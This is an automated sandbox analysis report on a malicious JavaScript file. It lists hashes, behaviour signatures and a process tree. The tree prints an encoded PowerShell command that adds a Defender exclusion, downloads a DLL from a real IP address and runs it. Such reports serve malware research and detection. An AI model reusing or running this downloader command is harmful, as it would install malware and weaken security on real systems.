Analysis

  • max time kernel
    32s
  • max time network
    27s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-de
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-delocale:de-deos:windows10-2004-x64systemwindows
  • submitted
    10-03-2023 14:37

General

  • Target

    0x000600000002314c-177.js

  • Size

    42KB

  • MD5

    92a9139473c2d91fe9a25985b588f860

  • SHA1

    faab1664eebc6e483a3a8276aaac45bd1b433fb9

  • SHA256

    c7d069190b1f998282a3afab40689b101330dc982cfe5f9129e0ce71fddb4ebe

  • SHA512

    e4c627f3449156406d779d5406317733535c6c297373c7e1f8e9d61e45bdaa96b0659c35069e93d94dfc403f9b74db6ed04a2509fb20e20cea94af18ed658ad4

  • SSDEEP

    768:UbbU/zhPX9lR0ObivOW42vWmAlEzs3jZCa/RpHtvPRqYw65VDkqZ95uzv5ULdy:iaPXTR0yivOT4P4vpNPUYweV4EDa

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\0x000600000002314c-177.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:380
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedcommand "JABwAGwAZQBiAGUAaQBhAG4AVABlAG8AYwBhAGwAbABpAHMAIAA9ACAARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgAEgASwBDAFUAOgBcAFwAUwBPAEYAVABXAEEAUgBFAFwAXABHAHkAbgBhAGUAYwBvAGMAbwBlAG4AaQBjACAAfAAgACUAewAkAF8ALgBwAHIAZQBvAGYAZgBlAG4AZAB9ADsAIAAkAHAAbABlAGIAZQBpAGEAbgBUAGUAbwBjAGEAbABsAGkAcwAgAD0AIAAiAHMAdABlAHIAZQBvAG0AaQBjAHIAbwBzAGMAbwBwAHkAIgAgACsAIAAkAHAAbABlAGIAZQBpAGEAbgBUAGUAbwBjAGEAbABsAGkAcwA7ACAAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoAZgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAcABsAGUAYgBlAGkAYQBuAFQAZQBvAGMAYQBsAGwAaQBzACkAKQA7ACAAWwBjAGwAYQBzAHMAaQBjAHkAYwAxAF0AOgA6AEUAeABlAGMAdQB0AGUAKAAiAHAAbwB3AGUAcgBzAGgAZQBsAGwAIAAtAGUAeABlAGMAdQB0AGkAbwBuAHAAbwBsAGkAYwB5ACAAYgB5AHAAYQBzAHMAIAAtAHcAaQBuAGQAbwB3AHMAdAB5AGwAZQAgAGgAaQBkAGQAZQBuACAAIgAiAGAAJABjAHUAcgByAGUAbgB0AEQAcgBpAHYAZQAgAD0AIABgACgAZwBlAHQALQBsAG8AYwBhAHQAaQBvAG4AYAApAC4ARAByAGkAdgBlAC4ATgBhAG0AZQAgACsAIAAnADoAXAAnADsAIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAYAAkAGMAdQByAHIAZQBuAHQARAByAGkAdgBlADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBTAGUAYwBvAG4AZABzACAAMwA7AHIAZQBnACAAZABlAGwAZQB0AGUAIABIAEsARQBZAF8AQwBVAFIAUgBFAE4AVABfAFUAUwBFAFIAXABTAE8ARgBUAFcAQQBSAEUAXABuAG8AbgBzAGEAcABvAG4AaQBmAGkAYQBiAGwAZQAgAC8AdgAgAHAAcgBlAG8AZgBmAGUAbgBkACAALwBmACIAIgAiACkAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAAzADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAAaAB0AHQAcAA6AC8ALwA4ADUALgAyADMAOQAuADUANAAuADIAMwAzAC8ARABtAFYAVwAvADEAIAAtAE8AIAAkAGUAbgB2ADoAVABFAE0AUABcAEQAZQBlAHIAZgBsAHkALgBkAGwAbAA7AHMAdABhAHIAdAAgAHIAdQBuAGQAbABsADMAMgAgACQAZQBuAHYAOgBUAEUATQBQAFwAXABEAGUAZQByAGYAbAB5AC4AZABsAGwALABYAEwANQA1ADsA"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1096
      • C:\Windows\system32\rundll32.exe
        "C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\\Deerfly.dll XL55
        3⤵
          PID:2812

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uas3noij.jht.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/1096-133-0x0000014C2DAB0000-0x0000014C2DB36000-memory.dmp

      Filesize

      536KB

    • memory/1096-143-0x0000014C12A40000-0x0000014C12A62000-memory.dmp

      Filesize

      136KB

    • memory/1096-144-0x0000014C129F0000-0x0000014C12A00000-memory.dmp

      Filesize

      64KB

    • memory/1096-145-0x0000014C12A30000-0x0000014C12A40000-memory.dmp

      Filesize

      64KB

    • memory/1096-146-0x0000014C12A30000-0x0000014C12A40000-memory.dmp

      Filesize

      64KB

    • memory/1096-147-0x0000014C2DD50000-0x0000014C2DE54000-memory.dmp

      Filesize

      1.0MB

    • memory/1096-148-0x0000014C12A30000-0x0000014C12A40000-memory.dmp

      Filesize

      64KB

    • memory/1096-149-0x0000014C12A30000-0x0000014C12A40000-memory.dmp

      Filesize

      64KB

    • memory/1096-150-0x0000014C2DC40000-0x0000014C2DC82000-memory.dmp

      Filesize

      264KB